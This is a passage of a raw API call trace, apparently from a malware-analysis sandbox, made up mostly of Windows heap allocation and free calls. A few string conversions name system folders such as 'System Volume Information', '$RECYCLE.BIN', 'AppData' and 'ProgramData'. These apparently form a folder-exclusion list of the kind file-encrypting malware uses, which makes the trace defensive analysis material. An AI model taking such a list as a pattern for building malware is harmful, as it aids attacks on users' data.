returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d298) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d288) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d268) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc08) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d268 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d278 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d288 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0xa8bc08 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d298 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.749] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5e8) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d248) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c630) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d238) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c678) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d228) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c6c0) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d218) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c708) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d208) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c750) returned 1 [0247.749] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1e8) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c798) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1f8) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945058) returned 1 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0x945058 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1f8 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c798 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1e8 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c750 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d208 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c708 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d218 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c6c0 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d228 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c678 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d238 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c630 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d248 [0247.750] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5e8 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d268) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d288) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d298) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.750] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc08) returned 1 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0xa8bc08 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d298 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d288 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d278 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d268 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.751] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c798) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1f8) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c750) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1e8) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c708) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d208) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c6c0) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d218) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c678) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d228) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c630) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d238) returned 1 [0247.751] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5e8) returned 1 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d248) returned 1 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945058) returned 1 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dae0 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c1f8, cbMultiByte=25, lpWideCharStr=0xa8dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8db68 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dae0) returned 1 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d248 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dae0 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8db68) returned 1 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8db68 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c1b0, cbMultiByte=12, lpWideCharStr=0xa8db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dbf0 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8db68) returned 1 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d238 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8db68 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dbf0) returned 1 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dbf0 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c168, cbMultiByte=8, lpWideCharStr=0xa8dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dc78 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dbf0) returned 1 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d228 [0247.752] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dbf0 [0247.752] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dc78) returned 1 [0247.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dc78 [0247.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c120, cbMultiByte=6, lpWideCharStr=0xa8dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dd00 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dc78) returned 1 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d218 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dc78 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dd00) returned 1 [0247.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dd00 [0247.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c240, cbMultiByte=11, lpWideCharStr=0xa8dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dd88 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dd00) returned 1 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0xa8dd00 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d208 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8de28 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dd88) returned 1 [0247.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8deb0 [0247.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpWideCharStr=0xa8deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8df38 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8deb0) returned 1 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1e8 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8deb0 [0247.753] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8df38) returned 1 [0247.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0247.753] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8df38 [0247.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpWideCharStr=0xa8df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dfc0 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8df38) returned 1 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1f8 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8df38 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dfc0) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d298) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d288) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d268) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bc08) returned 1 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x942850 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.754] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.754] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x942850 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d268 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d278 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.755] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d288 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d618 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d298 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.755] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2e8 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5e8 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d258) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d268) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d278) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d288) returned 1 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.756] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d288 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.756] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d278 [0247.756] RtlAllocateHeap 